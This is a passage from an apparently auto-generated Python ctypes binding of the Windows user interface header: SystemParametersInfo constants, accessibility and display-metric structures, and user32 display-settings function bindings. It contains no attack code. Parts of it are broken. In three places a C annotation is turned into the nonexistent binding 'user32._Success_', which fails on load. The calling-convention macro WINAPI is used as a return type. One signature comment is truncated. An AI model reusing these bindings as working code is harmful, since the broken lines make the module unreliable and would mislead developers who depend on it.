0x00000051\nSPI_SETPOWEROFFTIMEOUT = 0x00000052\nSPI_GETLOWPOWERACTIVE = 0x00000053\nSPI_GETPOWEROFFACTIVE = 0x00000054\nSPI_SETLOWPOWERACTIVE = 0x00000055\nSPI_SETPOWEROFFACTIVE = 0x00000056\nSPI_SETCURSORS = 0x00000057\nSPI_SETICONS = 0x00000058\nSPI_GETDEFAULTINPUTLANG = 0x00000059\nSPI_SETDEFAULTINPUTLANG = 0x0000005A\nSPI_SETLANGTOGGLE = 0x0000005B\nSPI_GETWINDOWSEXTENSION = 0x0000005C\nSPI_SETMOUSETRAILS = 0x0000005D\nSPI_GETMOUSETRAILS = 0x0000005E\nSPI_SETSCREENSAVERRUNNING = 0x00000061\nSPI_SCREENSAVERRUNNING = SPI_SETSCREENSAVERRUNNING\nSPI_GETFILTERKEYS = 0x00000032\nSPI_SETFILTERKEYS = 0x00000033\nSPI_GETTOGGLEKEYS = 0x00000034\nSPI_SETTOGGLEKEYS = 0x00000035\nSPI_GETMOUSEKEYS = 0x00000036\nSPI_SETMOUSEKEYS = 0x00000037\nSPI_GETSHOWSOUNDS = 0x00000038\nSPI_SETSHOWSOUNDS = 0x00000039\nSPI_GETSTICKYKEYS = 0x0000003A\nSPI_SETSTICKYKEYS = 0x0000003B\nSPI_GETACCESSTIMEOUT = 0x0000003C\nSPI_SETACCESSTIMEOUT = 0x0000003D\nSPI_GETSERIALKEYS = 0x0000003E\nSPI_SETSERIALKEYS = 0x0000003F\nSPI_GETSOUNDSENTRY = 0x00000040\nSPI_SETSOUNDSENTRY = 0x00000041\nSPI_GETSNAPTODEFBUTTON = 0x0000005F\nSPI_SETSNAPTODEFBUTTON = 0x00000060\nSPI_GETMOUSEHOVERWIDTH = 0x00000062\nSPI_SETMOUSEHOVERWIDTH = 0x00000063\nSPI_GETMOUSEHOVERHEIGHT = 0x00000064\nSPI_SETMOUSEHOVERHEIGHT = 0x00000065\nSPI_GETMOUSEHOVERTIME = 0x00000066\nSPI_SETMOUSEHOVERTIME = 0x00000067\nSPI_GETWHEELSCROLLLINES = 0x00000068\nSPI_SETWHEELSCROLLLINES = 0x00000069\nSPI_GETMENUSHOWDELAY = 0x0000006A\nSPI_SETMENUSHOWDELAY = 0x0000006B\nSPI_GETWHEELSCROLLCHARS = 0x0000006C\nSPI_SETWHEELSCROLLCHARS = 0x0000006D\nSPI_GETSHOWIMEUI = 0x0000006E\nSPI_SETSHOWIMEUI = 0x0000006F\nSPI_GETMOUSESPEED = 0x00000070\nSPI_SETMOUSESPEED = 0x00000071\nSPI_GETSCREENSAVERRUNNING = 0x00000072\nSPI_GETDESKWALLPAPER = 0x00000073\nSPI_GETAUDIODESCRIPTION = 0x00000074\nSPI_SETAUDIODESCRIPTION = 0x00000075\nSPI_GETSCREENSAVESECURE = 0x00000076\nSPI_SETSCREENSAVESECURE = 0x00000077\nSPI_GETHUNGAPPTIMEOUT = 0x00000078\nSPI_SETHUNGAPPTIMEOUT = 0x00000079\nSPI_GETWAITTOKILLTIMEOUT = 0x0000007A\nSPI_SETWAITTOKILLTIMEOUT = 0x0000007B\nSPI_GETWAITTOKILLSERVICETIMEOUT = 0x0000007C\nSPI_SETWAITTOKILLSERVICETIMEOUT = 0x0000007D\nSPI_GETMOUSEDOCKTHRESHOLD = 0x0000007E\nSPI_SETMOUSEDOCKTHRESHOLD = 0x0000007F\nSPI_GETPENDOCKTHRESHOLD = 0x00000080\nSPI_SETPENDOCKTHRESHOLD = 0x00000081\nSPI_GETWINARRANGING = 0x00000082\nSPI_SETWINARRANGING = 0x00000083\nSPI_GETMOUSEDRAGOUTTHRESHOLD = 0x00000084\nSPI_SETMOUSEDRAGOUTTHRESHOLD = 0x00000085\nSPI_GETPENDRAGOUTTHRESHOLD = 0x00000086\nSPI_SETPENDRAGOUTTHRESHOLD = 0x00000087\nSPI_GETMOUSESIDEMOVETHRESHOLD = 0x00000088\nSPI_SETMOUSESIDEMOVETHRESHOLD = 0x00000089\nSPI_GETPENSIDEMOVETHRESHOLD = 0x0000008A\nSPI_SETPENSIDEMOVETHRESHOLD = 0x0000008B\nSPI_GETDRAGFROMMAXIMIZE = 0x0000008C\nSPI_SETDRAGFROMMAXIMIZE = 0x0000008D\nSPI_GETSNAPSIZING = 0x0000008E\nSPI_SETSNAPSIZING = 0x0000008F\nSPI_GETDOCKMOVING = 0x00000090\nSPI_SETDOCKMOVING = 0x00000091\nMAX_TOUCH_PREDICTION_FILTER_TAPS = 0x00000003\n\nclass tagTouchPredictionParameters(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwLatency', UINT),\n ('dwSampleTime', UINT),\n ('bUseHWTimeStamp', UINT),\n ]\n\n\nTOUCHPREDICTIONPARAMETERS = tagTouchPredictionParameters\nPTOUCHPREDICTIONPARAMETERS = POINTER(tagTouchPredictionParameters)\n\n\nTOUCHPREDICTIONPARAMETERS_DEFAULT_LATENCY = 0x00000008\nTOUCHPREDICTIONPARAMETERS_DEFAULT_SAMPLETIME = 0x00000008\nTOUCHPREDICTIONPARAMETERS_DEFAULT_USE_HW_TIMESTAMP = 0x00000001\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_DELTA = 0.001\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MIN = 0.9\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MAX = 0.999\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_LEARNING_RATE = 0.001\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_EXPO_SMOOTH_ALPHA = 0.99\nSPI_GETTOUCHPREDICTIONPARAMETERS = 0x0000009C\nSPI_SETTOUCHPREDICTIONPARAMETERS = 0x0000009D\nMAX_LOGICALDPIOVERRIDE = 0x00000002\nMIN_LOGICALDPIOVERRIDE = -2\nSPI_GETLOGICALDPIOVERRIDE = 0x0000009E\nSPI_SETLOGICALDPIOVERRIDE = 0x0000009F\nSPI_GETMENURECT = 0x000000A2\nSPI_SETMENURECT = 0x000000A3\nSPI_GETACTIVEWINDOWTRACKING = 0x00001000\nSPI_SETACTIVEWINDOWTRACKING = 0x00001001\nSPI_GETMENUANIMATION = 0x00001002\nSPI_SETMENUANIMATION = 0x00001003\nSPI_GETCOMBOBOXANIMATION = 0x00001004\nSPI_SETCOMBOBOXANIMATION = 0x00001005\nSPI_GETLISTBOXSMOOTHSCROLLING = 0x00001006\nSPI_SETLISTBOXSMOOTHSCROLLING = 0x00001007\nSPI_GETGRADIENTCAPTIONS = 0x00001008\nSPI_SETGRADIENTCAPTIONS = 0x00001009\nSPI_GETKEYBOARDCUES = 0x0000100A\nSPI_SETKEYBOARDCUES = 0x0000100B\nSPI_GETMENUUNDERLINES = SPI_GETKEYBOARDCUES\nSPI_SETMENUUNDERLINES = SPI_SETKEYBOARDCUES\nSPI_GETACTIVEWNDTRKZORDER = 0x0000100C\nSPI_SETACTIVEWNDTRKZORDER = 0x0000100D\nSPI_GETHOTTRACKING = 0x0000100E\nSPI_SETHOTTRACKING = 0x0000100F\nSPI_GETMENUFADE = 0x00001012\nSPI_SETMENUFADE = 0x00001013\nSPI_GETSELECTIONFADE = 0x00001014\nSPI_SETSELECTIONFADE = 0x00001015\nSPI_GETTOOLTIPANIMATION = 0x00001016\nSPI_SETTOOLTIPANIMATION = 0x00001017\nSPI_GETTOOLTIPFADE = 0x00001018\nSPI_SETTOOLTIPFADE = 0x00001019\nSPI_GETCURSORSHADOW = 0x0000101A\nSPI_SETCURSORSHADOW = 0x0000101B\nSPI_GETMOUSESONAR = 0x0000101C\nSPI_SETMOUSESONAR = 0x0000101D\nSPI_GETMOUSECLICKLOCK = 0x0000101E\nSPI_SETMOUSECLICKLOCK = 0x0000101F\nSPI_GETMOUSEVANISH = 0x00001020\nSPI_SETMOUSEVANISH = 0x00001021\nSPI_GETFLATMENU = 0x00001022\nSPI_SETFLATMENU = 0x00001023\nSPI_GETDROPSHADOW = 0x00001024\nSPI_SETDROPSHADOW = 0x00001025\nSPI_GETBLOCKSENDINPUTRESETS = 0x00001026\nSPI_SETBLOCKSENDINPUTRESETS = 0x00001027\nSPI_GETUIEFFECTS = 0x0000103E\nSPI_SETUIEFFECTS = 0x0000103F\nSPI_GETDISABLEOVERLAPPEDCONTENT = 0x00001040\nSPI_SETDISABLEOVERLAPPEDCONTENT = 0x00001041\nSPI_GETCLIENTAREAANIMATION = 0x00001042\nSPI_SETCLIENTAREAANIMATION = 0x00001043\nSPI_GETCLEARTYPE = 0x00001048\nSPI_SETCLEARTYPE = 0x00001049\nSPI_GETSPEECHRECOGNITION = 0x0000104A\nSPI_SETSPEECHRECOGNITION = 0x0000104B\nSPI_GETCARETBROWSING = 0x0000104C\nSPI_SETCARETBROWSING = 0x0000104D\nSPI_GETTHREADLOCALINPUTSETTINGS = 0x0000104E\nSPI_SETTHREADLOCALINPUTSETTINGS = 0x0000104F\nSPI_GETSYSTEMLANGUAGEBAR = 0x00001050\nSPI_SETSYSTEMLANGUAGEBAR = 0x00001051\nSPI_GETFOREGROUNDLOCKTIMEOUT = 0x00002000\nSPI_SETFOREGROUNDLOCKTIMEOUT = 0x00002001\nSPI_GETACTIVEWNDTRKTIMEOUT = 0x00002002\nSPI_SETACTIVEWNDTRKTIMEOUT = 0x00002003\nSPI_GETFOREGROUNDFLASHCOUNT = 0x00002004\nSPI_SETFOREGROUNDFLASHCOUNT = 0x00002005\nSPI_GETCARETWIDTH = 0x00002006\nSPI_SETCARETWIDTH = 0x00002007\nSPI_GETMOUSECLICKLOCKTIME = 0x00002008\nSPI_SETMOUSECLICKLOCKTIME = 0x00002009\nSPI_GETFONTSMOOTHINGTYPE = 0x0000200A\nSPI_SETFONTSMOOTHINGTYPE = 0x0000200B\nFE_FONTSMOOTHINGSTANDARD = 0x00000001\nFE_FONTSMOOTHINGCLEARTYPE = 0x00000002\nSPI_GETFONTSMOOTHINGCONTRAST = 0x0000200C\nSPI_SETFONTSMOOTHINGCONTRAST = 0x0000200D\nSPI_GETFOCUSBORDERWIDTH = 0x0000200E\nSPI_SETFOCUSBORDERWIDTH = 0x0000200F\nSPI_GETFOCUSBORDERHEIGHT = 0x00002010\nSPI_SETFOCUSBORDERHEIGHT = 0x00002011\nSPI_GETFONTSMOOTHINGORIENTATION = 0x00002012\nSPI_SETFONTSMOOTHINGORIENTATION = 0x00002013\nFE_FONTSMOOTHINGORIENTATIONBGR = 0x00000000\nFE_FONTSMOOTHINGORIENTATIONRGB = 0x00000001\nSPI_GETMINIMUMHITRADIUS = 0x00002014\nSPI_SETMINIMUMHITRADIUS = 0x00002015\nSPI_GETMESSAGEDURATION = 0x00002016\nSPI_SETMESSAGEDURATION = 0x00002017\nSPI_GETCONTACTVISUALIZATION = 0x00002018\nSPI_SETCONTACTVISUALIZATION = 0x00002019\nCONTACTVISUALIZATION_OFF = 0x00000000\nCONTACTVISUALIZATION_ON = 0x00000001\nCONTACTVISUALIZATION_PRESENTATIONMODE = 0x00000002\nSPI_GETGESTUREVISUALIZATION = 0x0000201A\nSPI_SETGESTUREVISUALIZATION = 0x0000201B\nGESTUREVISUALIZATION_OFF = 0x00000000\nGESTUREVISUALIZATION_ON = 0x0000001F\nGESTUREVISUALIZATION_TAP = 0x00000001\nGESTUREVISUALIZATION_DOUBLETAP = 0x00000002\nGESTUREVISUALIZATION_PRESSANDTAP = 0x00000004\nGESTUREVISUALIZATION_PRESSANDHOLD = 0x00000008\nGESTUREVISUALIZATION_RIGHTTAP = 0x00000010\nSPI_GETMOUSEWHEELROUTING = 0x0000201C\nSPI_SETMOUSEWHEELROUTING = 0x0000201D\nMOUSEWHEEL_ROUTING_FOCUS = 0x00000000\nMOUSEWHEEL_ROUTING_HYBRID = 0x00000001\nMOUSEWHEEL_ROUTING_MOUSE_POS = 0x00000002\nSPI_GETPENVISUALIZATION = 0x0000201E\nSPI_SETPENVISUALIZATION = 0x0000201F\nPENVISUALIZATION_ON = 0x00000023\nPENVISUALIZATION_OFF = 0x00000000\nPENVISUALIZATION_TAP = 0x00000001\nPENVISUALIZATION_DOUBLETAP = 0x00000002\nPENVISUALIZATION_CURSOR = 0x00000020\nSPI_GETPENARBITRATIONTYPE = 0x00002020\nSPI_SETPENARBITRATIONTYPE = 0x00002021\nPENARBITRATIONTYPE_NONE = 0x00000000\nPENARBITRATIONTYPE_WIN8 = 0x00000001\nPENARBITRATIONTYPE_FIS = 0x00000002\nPENARBITRATIONTYPE_SPT = 0x00000003\nPENARBITRATIONTYPE_MAX = 0x00000004\nSPI_GETCARETTIMEOUT = 0x00002022\nSPI_SETCARETTIMEOUT = 0x00002023\nSPI_GETHANDEDNESS = 0x00002024\nSPI_SETHANDEDNESS = 0x00002025\n\n\nclass tagHANDEDNESS(ENUM):\n HANDEDNESS_LEFT = 0\n HANDEDNESS_RIGHT = 1\n\n\nHANDEDNESS = tagHANDEDNESS\nPHANDEDNESS = POINTER(tagHANDEDNESS)\n\n\nSPIF_UPDATEINIFILE = 0x00000001\nSPIF_SENDWININICHANGE = 0x00000002\nSPIF_SENDCHANGE = SPIF_SENDWININICHANGE\nMETRICS_USEDEFAULT = -1\n\nfrom shtypes_h import *\n\n\nclass tagNONCLIENTMETRICSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iBorderWidth', INT),\n ('iScrollWidth', INT),\n ('iScrollHeight', INT),\n ('iCaptionWidth', INT),\n ('iCaptionHeight', INT),\n ('lfCaptionFont', LOGFONTA),\n ('iSmCaptionWidth', INT),\n ('iSmCaptionHeight', INT),\n ('lfSmCaptionFont', LOGFONTA),\n ('iMenuWidth', INT),\n ('iMenuHeight', INT),\n ('lfMenuFont', LOGFONTA),\n ('lfStatusFont', LOGFONTA),\n ('lfMessageFont', LOGFONTA),\n ('iPaddedBorderWidth', INT),\n ]\n\n\nNONCLIENTMETRICSA = tagNONCLIENTMETRICSA\nPNONCLIENTMETRICSA = POINTER(tagNONCLIENTMETRICSA)\nLPNONCLIENTMETRICSA = POINTER(tagNONCLIENTMETRICSA)\n\n\n\nclass tagNONCLIENTMETRICSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iBorderWidth', INT),\n ('iScrollWidth', INT),\n ('iScrollHeight', INT),\n ('iCaptionWidth', INT),\n ('iCaptionHeight', INT),\n ('lfCaptionFont', LOGFONTW),\n ('iSmCaptionWidth', INT),\n ('iSmCaptionHeight', INT),\n ('lfSmCaptionFont', LOGFONTW),\n ('iMenuWidth', INT),\n ('iMenuHeight', INT),\n ('lfMenuFont', LOGFONTW),\n ('lfStatusFont', LOGFONTW),\n ('lfMessageFont', LOGFONTW),\n ('iPaddedBorderWidth', INT),\n ]\n\n\nNONCLIENTMETRICSW = tagNONCLIENTMETRICSW\nPNONCLIENTMETRICSW = POINTER(tagNONCLIENTMETRICSW)\nLPNONCLIENTMETRICSW = POINTER(tagNONCLIENTMETRICSW)\n\n\nNONCLIENTMETRICS = NONCLIENTMETRICSW\nPNONCLIENTMETRICS = PNONCLIENTMETRICSW\nLPNONCLIENTMETRICS = LPNONCLIENTMETRICSW\nARW_BOTTOMLEFT = 0x00000000\nARW_BOTTOMRIGHT = 0x00000001\nARW_TOPLEFT = 0x00000002\nARW_TOPRIGHT = 0x00000003\nARW_STARTMASK = 0x00000003\nARW_STARTRIGHT = 0x00000001\nARW_STARTTOP = 0x00000002\nARW_LEFT = 0x00000000\nARW_RIGHT = 0x00000000\nARW_UP = 0x00000004\nARW_DOWN = 0x00000004\nARW_HIDE = 0x00000008\n\nclass tagMINIMIZEDMETRICS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iWidth', INT),\n ('iHorzGap', INT),\n ('iVertGap', INT),\n ('iArrange', INT),\n ]\n\n\nMINIMIZEDMETRICS = tagMINIMIZEDMETRICS\nPMINIMIZEDMETRICS = POINTER(tagMINIMIZEDMETRICS)\nLPMINIMIZEDMETRICS = POINTER(tagMINIMIZEDMETRICS)\n\n\n\nclass tagICONMETRICSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iHorzSpacing', INT),\n ('iVertSpacing', INT),\n ('iTitleWrap', INT),\n ('lfFont', LOGFONTA),\n ]\n\n\nICONMETRICSA = tagICONMETRICSA\nPICONMETRICSA = POINTER(tagICONMETRICSA)\nLPICONMETRICSA = POINTER(tagICONMETRICSA)\n\n\n\nclass tagICONMETRICSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iHorzSpacing', INT),\n ('iVertSpacing', INT),\n ('iTitleWrap', INT),\n ('lfFont', LOGFONTW),\n ]\n\n\nICONMETRICSW = tagICONMETRICSW\nPICONMETRICSW = POINTER(tagICONMETRICSW)\nLPICONMETRICSW = POINTER(tagICONMETRICSW)\n\n\nICONMETRICS = ICONMETRICSW\nPICONMETRICS = PICONMETRICSW\nLPICONMETRICS = LPICONMETRICSW\n\nclass tagANIMATIONINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iMinAnimate', INT),\n ]\n\n\nANIMATIONINFO = tagANIMATIONINFO\nLPANIMATIONINFO = POINTER(tagANIMATIONINFO)\n\n\n\nclass tagSERIALKEYSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszActivePort', LPSTR),\n ('lpszPort', LPSTR),\n ('iBaudRate', UINT),\n ('iPortState', UINT),\n ('iActive', UINT),\n ]\n\n\nSERIALKEYSA = tagSERIALKEYSA\nLPSERIALKEYSA = POINTER(tagSERIALKEYSA)\n\n\n\nclass tagSERIALKEYSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszActivePort', LPWSTR),\n ('lpszPort', LPWSTR),\n ('iBaudRate', UINT),\n ('iPortState', UINT),\n ('iActive', UINT),\n ]\n\n\nSERIALKEYSW = tagSERIALKEYSW\nLPSERIALKEYSW = POINTER(tagSERIALKEYSW)\n\n\nSERIALKEYS = SERIALKEYSW\nLPSERIALKEYS = LPSERIALKEYSW\nSERKF_SERIALKEYSON = 0x00000001\nSERKF_AVAILABLE = 0x00000002\nSERKF_INDICATOR = 0x00000004\n\nclass tagHIGHCONTRASTA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszDefaultScheme', LPSTR),\n ]\n\n\nHIGHCONTRASTA = tagHIGHCONTRASTA\nLPHIGHCONTRASTA = POINTER(tagHIGHCONTRASTA)\n\n\n\nclass tagHIGHCONTRASTW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszDefaultScheme', LPWSTR),\n ]\n\n\nHIGHCONTRASTW = tagHIGHCONTRASTW\nLPHIGHCONTRASTW = POINTER(tagHIGHCONTRASTW)\n\n\nHIGHCONTRAST = HIGHCONTRASTW\nLPHIGHCONTRAST = LPHIGHCONTRASTW\nHCF_HIGHCONTRASTON = 0x00000001\nHCF_AVAILABLE = 0x00000002\nHCF_HOTKEYACTIVE = 0x00000004\nHCF_CONFIRMHOTKEY = 0x00000008\nHCF_HOTKEYSOUND = 0x00000010\nHCF_INDICATOR = 0x00000020\nHCF_HOTKEYAVAILABLE = 0x00000040\nHCF_LOGONDESKTOP = 0x00000100\nHCF_DEFAULTDESKTOP = 0x00000200\nCDS_UPDATEREGISTRY = 0x00000001\nCDS_TEST = 0x00000002\nCDS_FULLSCREEN = 0x00000004\nCDS_GLOBAL = 0x00000008\nCDS_SET_PRIMARY = 0x00000010\nCDS_VIDEOPARAMETERS = 0x00000020\nCDS_ENABLE_UNSAFE_MODES = 0x00000100\nCDS_DISABLE_UNSAFE_MODES = 0x00000200\nCDS_RESET = 0x40000000\nCDS_RESET_EX = 0x20000000\nCDS_NORESET = 0x10000000\n\nfrom tvout_h import * # NOQA\n\nDISP_CHANGE_SUCCESSFUL = 0x00000000\nDISP_CHANGE_RESTART = 0x00000001\nDISP_CHANGE_FAILED = -1\nDISP_CHANGE_BADMODE = -2\nDISP_CHANGE_NOTUPDATED = -3\nDISP_CHANGE_BADFLAGS = -4\nDISP_CHANGE_BADPARAM = -5\nDISP_CHANGE_BADDUALVIEW = -6\n\n# WINAPI\n# ChangeDisplaySettingsA(\n# _In_opt_ DEVMODEA* lpDevMode,\n# _In_ DWORD dwFlags);\nChangeDisplaySettingsA = user32.ChangeDisplaySettingsA\nChangeDisplaySettingsA.restype = WINAPI\n\n\n# WINAPI\n# ChangeDisplaySettingsW(\n# _In_opt_ DEVMODEW* lpDevMode,\n# _In_ DWORD dwFlags);\nChangeDisplaySettingsW = user32.ChangeDisplaySettingsW\nChangeDisplaySettingsW.restype = WINAPI\n\nChangeDisplaySettings = ChangeDisplaySettingsW\n# ChangeDisplaySettings = ChangeDisplaySettingsA\n\n# WINAPI\n# ChangeDisplaySettingsExA(\n# _In_opt_ LPCSTR lpszDeviceName,\n# _In_opt_ DEVMODEA* lpDevMode,\n# _Reserved_ HWND hwnd,\n# _In_ DWORD dwflags,\n# _In_opt_ LPVOID lParam);\nChangeDisplaySettingsExA = user32.ChangeDisplaySettingsExA\nChangeDisplaySettingsExA.restype = WINAPI\n\n\n# WINAPI\n# ChangeDisplaySettingsExW(\n# _In_opt_ LPCWSTR lpszDeviceName,\n# _In_opt_ DEVMODEW* lpDevMode,\n# _Reserved_ HWND hwnd,\n# _In_ DWORD dwflags,\n# _In_opt_ LPVOID lParam);\nChangeDisplaySettingsExW = user32.ChangeDisplaySettingsExW\nChangeDisplaySettingsExW.restype = WINAPI\n\nChangeDisplaySettingsEx = ChangeDisplaySettingsExW\n# ChangeDisplaySettingsEx = ChangeDisplaySettingsExA\nENUM_CURRENT_SETTINGS = -1\nENUM_REGISTRY_SETTINGS = -2\n\n# WINAPI\n# EnumDisplaySettingsA(\n# _In_opt_ LPCSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEA* lpDevMode);\nEnumDisplaySettingsA = user32.EnumDisplaySettingsA\nEnumDisplaySettingsA.restype = WINAPI\n\n\n# WINAPI\n# EnumDisplaySettingsW(\n# _In_opt_ LPCWSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEW* lpDevMode);\nEnumDisplaySettingsW = user32.EnumDisplaySettingsW\nEnumDisplaySettingsW.restype = WINAPI\n\nEnumDisplaySettings = EnumDisplaySettingsW\n# EnumDisplaySettings = EnumDisplaySettingsA\n\n# WINAPI\n# EnumDisplaySettingsExA(\n# _In_opt_ LPCSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEA* lpDevMode,\n# _In_ DWORD dwFlags);\nEnumDisplaySettingsExA = user32.EnumDisplaySettingsExA\nEnumDisplaySettingsExA.restype = WINAPI\n\n\n# WINAPI\n# EnumDisplaySettingsExW(\n# _In_opt_ LPCWSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEW* lpDevMode,\n# _In_ DWORD dwFlags);\nEnumDisplaySettingsExW = user32.EnumDisplaySettingsExW\nEnumDisplaySettingsExW.restype = WINAPI\n\nEnumDisplaySettingsEx = EnumDisplaySettingsExW\n# EnumDisplaySettingsEx = EnumDisplaySettingsExA\nEDS_RAWMODE = 0x00000002\nEDS_ROTATEDMODE = 0x00000004\n\n# WINAPI\n# EnumDisplayDevicesA(\n# _In_opt_ LPCSTR lpDevice,\n# _In_ DWORD iDevNum,\n# _Inout_ PDISPLAY_DEVICEA lpDisplayDevice,\n# _In_ DWORD dwFlags);\nEnumDisplayDevicesA = user32.EnumDisplayDevicesA\nEnumDisplayDevicesA.restype = WINAPI\n\n\n# WINAPI\n# EnumDisplayDevicesW(\n# _In_opt_ LPCWSTR lpDevice,\n# _In_ DWORD iDevNum,\n# _Inout_ PDISPLAY_DEVICEW lpDisplayDevice,\n# _In_ DWORD dwFlags);\nEnumDisplayDevicesW = user32.EnumDisplayDevicesW\nEnumDisplayDevicesW.restype = WINAPI\n\nEnumDisplayDevices = EnumDisplayDevicesW\n# EnumDisplayDevices = EnumDisplayDevicesA\nEDD_GET_DEVICE_INTERFACE_NAME = 0x00000001\n\n# WINAPI\n# GetDisplayConfigBufferSizes(\n# _In_ UINT32 flags,\n# _Out_ UINT32* numPathArrayElements,\n# _Out_ UINT32* numModeInfoArrayElements);\nGetDisplayConfigBufferSizes = user32.GetDisplayConfigBufferSizes\nGetDisplayConfigBufferSizes.restype = WINAPI\n\n\n# WINAPI\n# SetDisplayConfig(\n# _In_ UINT32 numPathArrayElements,\n# _In_reads_opt_(numPathArrayElements) DISPLAYCONFIG_PATH_INFO* pathArray,\n# _In_ UINT32 numModeInfoArrayElements,\n# _In_reads_opt_(numModeInfoArrayElements) DISPLAYCONFIG_MODE_INFO* modeInfoArray,\n# _In_ UINT32 flags);\nSetDisplayConfig = user32.SetDisplayConfig\nSetDisplayConfig.restype = WINAPI\n\n\n# WINAPI\n# QueryDisplayConfig(\n# _In_ UINT32 flags,\n# _Inout_ UINT32* numPathArrayElements,\n# _Out_writes_to_(*numPathArrayElements, *numPathArrayElements) DISPLAYCONFIG_PATH_INFO* pathArray,\n# _Inout_ UINT32* numModeInfoArrayElements,\n# _Out_writes_to_(*numModeInfoArrayElements, *numModeInfoArrayElements) DISPLAYCONFIG_MODE_INFO* modeInfoArray,\n# _When_(!(flags & QDC_DATABASE_CURRENT), _Pre_null_)\nQueryDisplayConfig = user32.QueryDisplayConfig\nQueryDisplayConfig.restype = WINAPI\n\n\n# WINAPI\n# DisplayConfigGetDeviceInfo(\n# _Inout_ DISPLAYCONFIG_DEVICE_INFO_HEADER* requestPacket);\nDisplayConfigGetDeviceInfo = user32.DisplayConfigGetDeviceInfo\nDisplayConfigGetDeviceInfo.restype = WINAPI\n\n\n# WINAPI\n# DisplayConfigSetDeviceInfo(\n# _In_ DISPLAYCONFIG_DEVICE_INFO_HEADER* setPacket);\nDisplayConfigSetDeviceInfo = user32.DisplayConfigSetDeviceInfo\nDisplayConfigSetDeviceInfo.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return != FALSE)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# SystemParametersInfoA(\n# _In_ UINT uiAction,\n# _In_ UINT uiParam,\n# _Pre_maybenull_ _Post_valid_ PVOID pvParam,\n# _In_ UINT fWinIni);\nSystemParametersInfoA = user32.SystemParametersInfoA\nSystemParametersInfoA.restype = WINAPI\n\n\n# WINUSERAPI\n# _Success_(return != FALSE)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# SystemParametersInfoW(\n# _In_ UINT uiAction,\n# _In_ UINT uiParam,\n# _Pre_maybenull_ _Post_valid_ PVOID pvParam,\n# _In_ UINT fWinIni);\nSystemParametersInfoW = user32.SystemParametersInfoW\nSystemParametersInfoW.restype = WINAPI\n\nSystemParametersInfo = SystemParametersInfoW\n# SystemParametersInfo = SystemParametersInfoA\n\n# WINUSERAPI\n# _Success_(return != FALSE)\n_Success_ = user32._Success_\n_Success_.restype = WINUSERAPI\n\n\n# WINAPI\n# SystemParametersInfoForDpi(\n# _In_ UINT uiAction,\n# _In_ UINT uiParam,\n# _Pre_maybenull_ _Post_valid_ PVOID pvParam,\n# _In_ UINT fWinIni,\n# _In_ UINT dpi);\nSystemParametersInfoForDpi = user32.SystemParametersInfoForDpi\nSystemParametersInfoForDpi.restype = WINAPI\n\n\nclass tagFILTERKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iWaitMSec', DWORD),\n ('iDelayMSec', DWORD),\n ('iRepeatMSec', DWORD),\n ('iBounceMSec', DWORD),\n ]\n\n\nFILTERKEYS = tagFILTERKEYS\nLPFILTERKEYS = POINTER(tagFILTERKEYS)\n\n\nFKF_FILTERKEYSON = 0x00000001\nFKF_AVAILABLE = 0x00000002\nFKF_HOTKEYACTIVE = 0x00000004\nFKF_CONFIRMHOTKEY = 0x00000008\nFKF_HOTKEYSOUND = 0x00000010\nFKF_INDICATOR = 0x00000020\nFKF_CLICKON = 0x00000040\n\nclass tagSTICKYKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ]\n\n\nSTICKYKEYS = tagSTICKYKEYS\nLPSTICKYKEYS = POINTER(tagSTICKYKEYS)\n\n\nSKF_STICKYKEYSON = 0x00000001\nSKF_AVAILABLE = 0x00000002\nSKF_HOTKEYACTIVE = 0x00000004\nSKF_CONFIRMHOTKEY = 0x00000008\nSKF_HOTKEYSOUND = 0x00000010\nSKF_INDICATOR = 0x00000020\nSKF_AUDIBLEFEEDBACK = 0x00000040\nSKF_TRISTATE = 0x00000080\nSKF_TWOKEYSOFF = 0x00000100\nSKF_LALTLATCHED = 0x10000000\nSKF_LCTLLATCHED = 0x04000000\nSKF_LSHIFTLATCHED = 0x01000000\nSKF_RALTLATCHED = 0x20000000\nSKF_RCTLLATCHED = 0x08000000\nSKF_RSHIFTLATCHED = 0x02000000\nSKF_LWINLATCHED = 0x40000000\nSKF_RWINLATCHED = 0x80000000\nSKF_LALTLOCKED = 0x00100000\nSKF_LCTLLOCKED = 0x00040000\nSKF_LSHIFTLOCKED = 0x00010000\nSKF_RALTLOCKED = 0x00200000\nSKF_RCTLLOCKED = 0x00080000\nSKF_RSHIFTLOCKED = 0x00020000\nSKF_LWINLOCKED = 0x00400000\nSKF_RWINLOCKED = 0x00800000\n\nclass tagMOUSEKEYS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('iMaxSpeed', DWORD),\n 